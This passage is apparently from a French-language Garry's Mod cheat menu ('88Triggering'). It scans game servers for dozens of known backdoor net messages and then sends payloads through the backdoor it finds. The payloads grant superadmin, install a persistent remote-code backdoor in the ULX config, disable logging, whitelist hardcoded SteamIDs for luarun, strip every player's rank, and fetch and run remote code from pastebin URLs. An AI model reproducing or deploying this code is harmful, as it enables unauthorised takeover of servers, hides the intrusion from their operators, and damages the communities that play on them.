9154 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9155 else
9156 end
9157
9158 if( triggeringnetcall("Sandbox_Armdupe") ) then
9159 triggeringbd = "Sandbox_Armdupe"
9160 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9161 else
9162 end
9163
9164 if( triggeringnetcall("DarkRP_AdminWeapons") ) then
9165 triggeringbd = "DarkRP_AdminWeapons"
9166 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9167 else
9168 end
9169
9170 if( triggeringnetcall("SessionBackdoor") ) then
9171 triggeringbd = "SessionBackdoor"
9172 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9173 else
9174 end
9175
9176 if( triggeringnetcall("Fix_Keypads") ) then
9177 triggeringbd = "Fix_Keypads"
9178 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9179 else
9180 end
9181
9182 if( triggeringnetcall("Remove_Exploiters") ) then
9183 triggeringbd = "Remove_Exploiters"
9184 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9185 else
9186 end
9187
9188 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9189 triggeringbd = "noclipcloakaesp_chat_text"
9190 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9191 else
9192 end
9193
9194 if( triggeringnetcall("_Defqon") ) then
9195 triggeringbd = "_Defqon"
9196 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9197 else
9198 end
9199
9200 if( triggeringnetcall("_CAC_ReadMemory") ) then
9201 triggeringbd = "_CAC_ReadMemory"
9202 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9203 else
9204 end
9205
9206 if( triggeringnetcall("nostrip") ) then
9207 triggeringbd = "nostrip"
9208 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9209 else
9210 end
9211
9212
9213 if( triggeringnetcall("LickMeOut") ) then
9214 triggeringbd = "LickMeOut"
9215 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9216 else
9217 end
9218
9219 if( triggeringnetcall("MoonMan") ) then
9220 triggeringbd = "MoonMan"
9221 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9222 else
9223 end
9224
9225 if( triggeringnetcall("Im_SOCool") ) then
9226 triggeringbd = "Im_SOCool"
9227 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9228 else
9229 end
9230
9231 if( triggeringnetcall("ULXQUERY2") ) then
9232 triggeringbd = "ULXQUERY2"
9233 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9234 else
9235 end
9236
9237 if( triggeringnetcall("jesuslebg") ) then
9238 triggeringbd = "jesuslebg"
9239 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9240 else
9241 end
9242
9243 if( triggeringnetcall("zilnix") ) then
9244 triggeringbd = "zilnix"
9245 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9246 else
9247 end
9248
9249 if( triggeringnetcall("enablevac") ) then
9250 triggeringbd = "enablevac"
9251 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9252 else
9253 end
9254
9255 if( triggeringnetcall("-c") ) then
9256 triggeringbd = "-c"
9257 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9258 else
9259 end
9260
9261 if( triggeringnetcall("Þà?D)◘") ) then
9262 triggeringbd = "Þà?D)◘"
9263 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9264 else
9265 end
9266
9267 if( triggeringnetcall("disablebackdoor") ) then
9268 triggeringbd = "disablebackdoor"
9269 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9270 else
9271 end
9272
9273 if( triggeringnetcall("kill") ) then
9274 triggeringbd = "kill"
9275 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9276 else
9277 end
9278
9279 if( triggeringnetcall("88") ) then
9280 triggeringbd = "88"
9281 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9282 else
9283 end
9284
9285 if( triggeringnetcall("ULogs_Info") ) then
9286 triggeringbd = "ULogs_Info"
9287 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9288 else
9289 end
9290
9291 if( triggeringnetcall("Ulib_Message") ) then
9292 triggeringbd = "Ulib_Message"
9293 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9294 else
9295 end
9296
9297 if( triggeringnetcall("Sbox_itemstore") ) then
9298 triggeringbd = "Sbox_itemstore"
9299 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9300 else
9301 end
9302
9303 if( triggeringnetcall("Sbox_darkrp") ) then
9304 triggeringbd = "Sbox_darkrp"
9305 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9306 else
9307 end
9308
9309 if( triggeringnetcall("ITEM") ) then
9310 triggeringbd = "ITEM"
9311 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9312 else
9313 end
9314
9315 if( triggeringnetcall("R8") ) then
9316 triggeringbd = "R8"
9317 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9318 else
9319 end
9320
9321 if( triggeringnetcall("fix") ) then
9322 triggeringbd = "fix"
9323 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9324 else
9325 end
9326
9327 if( triggeringnetcall("Fix_Keypads") ) then
9328 triggeringbd = "Fix_Keypads"
9329 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9330 else
9331 end
9332
9333 if( triggeringnetcall("Remove_Exploiters") ) then
9334 triggeringbd = "Remove_Exploiters"
9335 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9336 else
9337 end
9338
9339 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9340 triggeringbd = "noclipcloakaesp_chat_text"
9341 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9342 else
9343 end
9344
9345 if( triggeringnetcall("ULX_QUERY2") ) then
9346 triggeringbd = "ULX_QUERY2"
9347 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9348 else
9349 end
9350
9351 if( triggeringnetcall("Sandbox_GayParty") ) then
9352 triggeringbd = "Sandbox_GayParty"
9353 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9354 else
9355 end
9356
9357 if( triggeringnetcall("_CAC_G") ) then
9358 triggeringbd = "_CAC_G"
9359 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9360 else
9361 end
9362
9363 if( triggeringnetcall("fellosnake") ) then
9364 triggeringbd = "fellosnake"
9365 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9366 else
9367 end
9368
9369 if( triggeringnetcall("stoppk") ) then
9370 triggeringbd = "stoppk"
9371 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9372 else
9373 end
9374
9375 if( triggeringnetcall("changename") ) then
9376 triggeringbd = "changename"
9377 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9378 else
9379 end
9380
9381 if( triggeringnetcall("Sbox_Message") ) then
9382 triggeringbd = "Sbox_Message"
9383 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9384 else
9385 end
9386
9387 if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
9388 triggeringbd = "Sbox_gm_attackofnullday_key"
9389 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9390 else
9391 end
9392
9393 if( triggeringnetcall("m9k_explosionradius") ) then
9394 triggeringbd = "m9k_explosionradius"
9395 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9396 else
9397 end
9398
9399 if( triggeringnetcall("m9k_explosive") ) then
9400 triggeringbd = "m9k_explosive"
9401 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9402 else
9403 end
9404
9405 if( triggeringnetcall("arivia") ) then
9406 triggeringbd = "arivia"
9407 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9408 else
9409 end
9410
9411 if( triggeringnetcall("_Warns") ) then
9412 triggeringbd = "_Warns"
9413 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9414 else
9415 end
9416
9417 if( triggeringnetcall("pjHabrp9EY") ) then
9418 triggeringbd = "pjHabrp9EY"
9419 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9420 else
9421 end
9422
9423 if( triggeringnetcall("_Raze") ) then
9424 triggeringbd = "_Raze"
9425 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9426 else
9427 end
9428
9429 if( triggeringnetcall("thefrenchenculer") ) then
9430 triggeringbd = "thefrenchenculer"
9431 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9432 else
9433 end
9434
9435 if( triggeringnetcall("Þ� ?D)◘") ) then
9436 triggeringbd = "Þ� ?D)◘"
9437 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9438 else
9439 end
9440
9441 if( triggeringnetcall("PlayerItemPickUp") ) then
9442 triggeringbd = "PlayerItemPickUp"
9443 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9444 else
9445 end
9446
9447 if( triggeringnetcall("echangeinfo") ) then
9448 triggeringbd = "echangeinfo"
9449 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9450 else
9451 end
9452
9453 if( triggeringnetcall("fourhead") ) then
9454 triggeringbd = "fourhead"
9455 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9456 else
9457 end
9458
9459 if( triggeringnetcall("DefqonBackdoor") ) then
9460 triggeringbd = "DefqonBackdoor"
9461 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9462 else
9463 end
9464
9465 if( triggeringnetcall("xenoexistscl") ) then
9466 triggeringbd = "xenoexistscl"
9467 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9468 else
9469 end
9470
9471 if( triggeringnetcall("cvaraccess") ) then
9472 triggeringbd = "cvaraccess"
9473 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9474 else
9475 end
9476
9477 if( triggeringnetcall("NoNerks") ) then
9478 triggeringbd = "NoNerks"
9479 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9480 else
9481 end
9482
9483 if( triggeringnetcall("cucked") ) then
9484 triggeringbd = "cucked"
9485 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9486 else
9487 end
9488
9489 if( triggeringnetcall("OldNetReadData") ) then
9490 triggeringbd = "OldNetReadData"
9491 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9492 else
9493 end
9494
9495 if( triggeringnetcall("DarkRP_UTF8") ) then
9496 triggeringbd = "DarkRP_UTF8"
9497 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9498 else
9499 end
9500
9501 if( triggeringnetcall("fix") ) then
9502 triggeringbd = "fix"
9503 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9504 else
9505 end
9506
9507 if( triggeringnetcall("asunalabestwaifu") ) then
9508 triggeringbd = "asunalabestwaifu"
9509 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9510 else
9511 end
9512
9513 if( triggeringnetcall("__G____CAC") ) then
9514 triggeringbd = "__G____CAC"
9515 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9516 else
9517 end
9518
9519 if( triggeringnetcall("AbSoluT") ) then
9520 triggeringbd = "AbSoluT"
9521 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9522 else
9523 end
9524
9525 if( triggeringnetcall("Gamemode_get") ) then
9526 triggeringbd = "Gamemode_get"
9527 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9528 else
9529 end
9530
9531 if( triggeringnetcall("z") ) then
9532 triggeringbd = "z"
9533 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9534 else
9535 end
9536
9537 if( triggeringnetcall("cvardel") ) then
9538 triggeringbd = "cvardel"
9539 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9540 else
9541 end
9542
9543 if( triggeringnetcall("Sandbox_ArmDupe") ) then
9544 triggeringbd = "Sandbox_ArmDupe"
9545 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9546 else
9547 end
9548
9549 if( triggeringnetcall("antilagger") ) then
9550 triggeringbd = "antilagger"
9551 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9552 else
9553 end
9554
9555 if( triggeringnetcall("effects_en") ) then
9556 triggeringbd = "effects_en"
9557 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9558 else
9559 end
9560
9561 if( triggeringnetcall("file") ) then
9562 triggeringbd = "file"
9563 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9564 else
9565 end
9566
9567 if( triggeringnetcall("ULogs_B") ) then
9568 triggeringbd = "ULogs_B"
9569 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9570 else
9571 end
9572
9573
9574 if( triggeringnetcall("_Warns") ) then
9575 triggeringbd = "_Warns"
9576 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9577 else
9578 end
9579
9580 if( triggeringnetcall("_GaySploit") ) then
9581 triggeringbd = "_GaySploit"
9582 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9583 else
9584 end
9585
9586 if( triggeringnetcall("slua") ) then
9587 triggeringbd = "slua"
9588 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9589 else
9590 end
9591
9592 if( triggeringnetcall("Bilboard.adverts:Spawn(false)") ) then
9593 triggeringbd = "Bilboard.adverts:Spawn(false)"
9594 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9595 else
9596 end
9597
9598 if( triggeringnetcall("BOOST_FPS") ) then
9599 triggeringbd = "BOOST_FPS"
9600 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9601 else
9602 end
9603
9604 if( triggeringnetcall("gag") ) then
9605 triggeringbd = "gag"
9606 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9607 else
9608 end
9609
9610 if( triggeringnetcall("_cac_") ) then
9611 triggeringbd = "_cac_"
9612 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9613 else
9614 end
9615
9616 if( triggeringnetcall("PlayerItemPickUp") ) then
9617 triggeringbd = "PlayerItemPickUp"
9618 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9619 else
9620 end
9621
9622 if( triggeringnetcall("JSQuery.Data(Post(false))") ) then
9623 triggeringbd = "JSQuery.Data(Post(false))"
9624 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9625 else
9626 end
9627
9628 if( triggeringnetcall("m9k_explosive") ) then
9629 triggeringbd = "m9k_explosive"
9630 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9631 else
9632 end
9633
9634 if( triggeringnetcall("faceposer_flex01") ) then
9635 triggeringbd = "faceposer_flex01"
9636 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.." Pour utiliser celle-ci il est conseillé de se renommer GbrosMC" )
9637 else
9638 end
9639
9640 if( triggeringnetcall("mecthack") ) then
9641 triggeringbd = "mecthack"
9642 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9643 else
9644 end
9645
9646
9647 if triggeringbd == "" then
9648 chat.AddText(Color(0, 0, 0), "[", "88Triggering", "] ", Color( 255, 0, 0 ), "Aucune backdoor active :(" )
9649 else
9650 chat.AddText(Color(0, 0, 0), "[", "88Triggering", "] ", Color( 0, 255, 0 ), "Backdoor Active : ".. triggeringbd )
9651 end
9652
9653
9654----------------------------------------------------
9655
9656local persistbd = [[
9657 local config = ULib.fileRead( "data/ulx/config.txt" )
9658 config = config.."\nulx logEcho 0"
9659 config = config.."\nulx luarun util.AddNetworkString( '_CAC_G' ) net.Receive( '_CAC_G', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
9660 config = config.."\nulx logEcho 1"
9661 ULib.fileWrite( "data/ulx/config.txt", config )
9662 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on server" ) end end
9663 ]]
9664
9665local the88admingive = [[
9666 concommand.Add("88isadmin", function(ply)
9667 RunConsoleCommand("ulx", "logecho", "0")
9668 RunConsoleCommand("ulx","adduser",ply:Nick(),"superadmin")
9669 ply:ChatPrint( "Succès Mec :D" )
9670end )]]
9671
9672local the88admingivecramer = [[
9673 concommand.Add("88isadmincramer", function(ply)
9674 RunConsoleCommand("Fadmin","setaccess",ply:Nick(),"superadmin")
9675end )]]
9676
9677local launchbd = [[
9678
9679 RunConsoleCommand("ulx","luarun","util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
9680
9681 ]]
9682
9683
9684
9685local enablelogs = [[
9686
9687 RunConsoleCommand("ulx","logecho","3")
9688
9689 ]]
9690
9691local nologs = [[
9692
9693 RunConsoleCommand("ulx","logecho","0")
9694
9695 ]]
9696
9697local allowluarun88 = [[
9698
9699 RunConsoleCommand("ulx","userallowid","STEAM_1:1:423243929","ulx luarun")
9700 RunConsoleCommand("ulx","userallowid","STEAM_0:0:422749912","ulx luarun")
9701
9702 ]]
9703
9704local unrankall = [[
9705
9706 RunConsoleCommand("FAdmin","setaccess","*", "user")
9707
9708 ]]
9709
9710
9711
9712---------------------------------------------------
9713
9714
9715
9716
9717local Entry = vgui.Create( "DTextEntry" )
9718Entry:SetParent(backdoorScrollPanel)
9719Entry:SetPos( 0, 480 )
9720Entry:SetSize( 190, 30 )
9721Entry:SetText( "Macro Here" )
9722
9723function BDAdd(id, text, desc, func)
9724local bdid = vgui.Create( "DButton", backdoorScrollPanel )
9725bdid:SetText( text )
9726bdid:SetTextColor( Color( 200, 200, 200, 220 ) )
9727bdid:SetFont("Roboto")
9728bdid:Dock( TOP )
9729bdid:DockMargin( 210, 45, 10, -35 )
9730bdid:DockPadding( 2, 20, 20, 60 )
9731bdid.DoClick = func
9732if desc then
9733bdid:SetToolTip( desc )
9734end
9735bdid.Paint = function( self, w, h )
9736bdid.OnCursorEntered = function(self)
9737-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9738surface.PlaySound( "buttons/button15.wav" )
9739end
9740if bdid:IsHovered() then
9741-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9742draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9743else
9744draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9745end
9746surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9747surface.DrawOutlinedRect( 0, 0, w, h )
9748end
9749end
9750
9751BDAdd( "1","Se Mettre SuperAdmin ULX", "Ca va chauffer :c", function()
9752surface.PlaySound("garrysmod/ui_click.wav")
9753NOTIFICATION("YOUUUUUUUUUHOUUUUUUUUUUUUU")
9754net.Start(""..triggeringbd.."")
9755net.WriteString(""..the88admingive.."")
9756net.WriteBit(1)
9757RunConsoleCommand "88isadmin"
9758net.SendToServer()
9759end )
9760
9761BDAdd( "2","Se Mettre SuperAdmin FADMIN", "Très cramer mais utile", function()
9762surface.PlaySound("garrysmod/ui_click.wav")
9763NOTIFICATION("Hop hop hop :D")
9764net.Start(""..triggeringbd.."")
9765net.WriteString(""..the88admingivecramer.."")
9766net.WriteBit(1)
9767RunConsoleCommand "88isadmincramer"
9768net.SendToServer()
9769end )
9770
9771BDAdd( "3","Activer Backdoor 88", "Sa va faire mal", function()
9772surface.PlaySound("garrysmod/ui_click.wav")
9773NOTIFICATION("Go foutre le bordel :3")
9774net.Start(""..triggeringbd.."")
9775net.WriteString(launchbd)
9776net.WriteBit(1)
9777net.SendToServer()
9778end )
9779
9780BDAdd( "4","Desactiver Logs", "Invisible pour les commandes ulx :D", function()
9781surface.PlaySound("garrysmod/ui_click.wav")
9782NOTIFICATION("Logs Desactivé")
9783net.Start(""..triggeringbd.."")
9784net.WriteString(""..nologs.."")
9785net.WriteBit(1)
9786net.SendToServer()
9787end )
9788
9789BDAdd( "5","Activer Logs", "Sa sera pratique pour pas cramer", function()
9790surface.PlaySound("garrysmod/ui_click.wav")
9791NOTIFICATION("Logs Activé")
9792net.Start(""..triggeringbd.."")
9793net.WriteString(""..enablelogs.."")
9794net.WriteBit(1)
9795net.SendToServer()
9796end )
9797
9798BDAdd( "6","Demarrer 88 Backdoor Menu", "Perfect", function()
9799surface.PlaySound("garrysmod/ui_click.wav")
9800RunConsoleCommand "88_backdoor"
9801end )
9802
9803BDAdd( "7","Luarun 88", "BACKDOOR TIME :3", function()
9804surface.PlaySound("garrysmod/ui_click.wav")
9805net.Start(""..triggeringbd.."")
9806net.WriteString(""..allowluarun88.."")
9807net.WriteBit(1)
9808net.SendToServer()
9809end )
9810
9811BDAdd( "8","Unrank Tout Le Serveur", "RIP LES RANKS :c", function()
9812surface.PlaySound("garrysmod/ui_click.wav")
9813net.Start(""..triggeringbd.."")
9814net.WriteString(""..unrankall.."")
9815net.WriteBit(1)
9816net.SendToServer()
9817end )
9818
9819BDAdd( "9","Activer LuaRun", "rt si t'es trist yoh :c", function()
9820surface.PlaySound("garrysmod/ui_click.wav")
9821net.Start(""..triggeringbd.."")
9822net.WriteString("http.Fetch(\"https://pastebin.com/raw/kbzarvsW\",function(b,l,h,c)RunString(b)end,nil)")
9823net.WriteBit(1)
9824net.SendToServer()
9825end )
9826
9827BDAdd( "9","Kill SNTE", "rt si t'es trist yoh :c", function()
9828surface.PlaySound("garrysmod/ui_click.wav")
9829net.Start(""..triggeringbd.."")
9830net.WriteString("http.Fetch(\"https://pastebin.com/raw/GzpPgx8q\",function(b,l,h,c)RunString(b)end,nil)")
9831net.WriteBit(1)
9832net.SendToServer()
9833end )
9834
9835
9836/*================================
9837|===== 88Triggering MUSIQUES =====|
9838=================================*/
9839
9840
9841local soundboardmusicScrollPanel = vgui.Create( "DScrollPanel", mscsbd )
9842soundboardmusicScrollPanel:Dock( FILL )
9843soundboardmusicScrollPanel:InnerWidth(100)
9844local sbar = soundboardmusicScrollPanel:GetVBar()
9845function soundboardmusicScrollPanel:Paint( w, h )
9846 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9847end
9848function sbar:Paint( w, h )
9849 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9850end
9851function sbar.btnUp:Paint( w, h )
9852 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9853end
9854function sbar.btnDown:Paint( w, h )
9855 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9856end
9857function sbar.btnGrip:Paint( w, h )
9858 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9859end
9860
9861function AddSong(id, text, desc, func)
9862local msbd = vgui.Create( "DButton", soundboardmusicScrollPanel )
9863msbd:SetText( text )
9864msbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9865msbd:SetFont("Roboto")
9866msbd:Dock( TOP )
9867msbd:DockMargin( 10, 45, 40, -37 )
9868msbd:DockPadding( 2, 30, 20, 10 )
9869msbd.DoClick = func
9870if desc then
9871msbd:SetToolTip( desc )
9872end
9873msbd.Paint = function( self, w, h )
9874msbd.OnCursorEntered = function(self)
9875-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9876surface.PlaySound( "buttons/button15.wav" )
9877end
9878if msbd:IsHovered() then
9879-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9880draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9881else
9882draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9883end
9884surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9885surface.DrawOutlinedRect( 0, 0, w, h )
9886end
9887end
9888
9889AddSong( "1","Stop Musique", "Stop Une Musique Directement", function()
9890surface.PlaySound("buttons/lever3.wav")
9891net.Start(""..triggeringbd.."")
9892net.WriteString("RunConsoleCommand \"stopsound\"")
9893net.WriteBit(1)
9894net.SendToServer()
9895end )
9896
9897
9898
9899
9900
9901
9902
9903
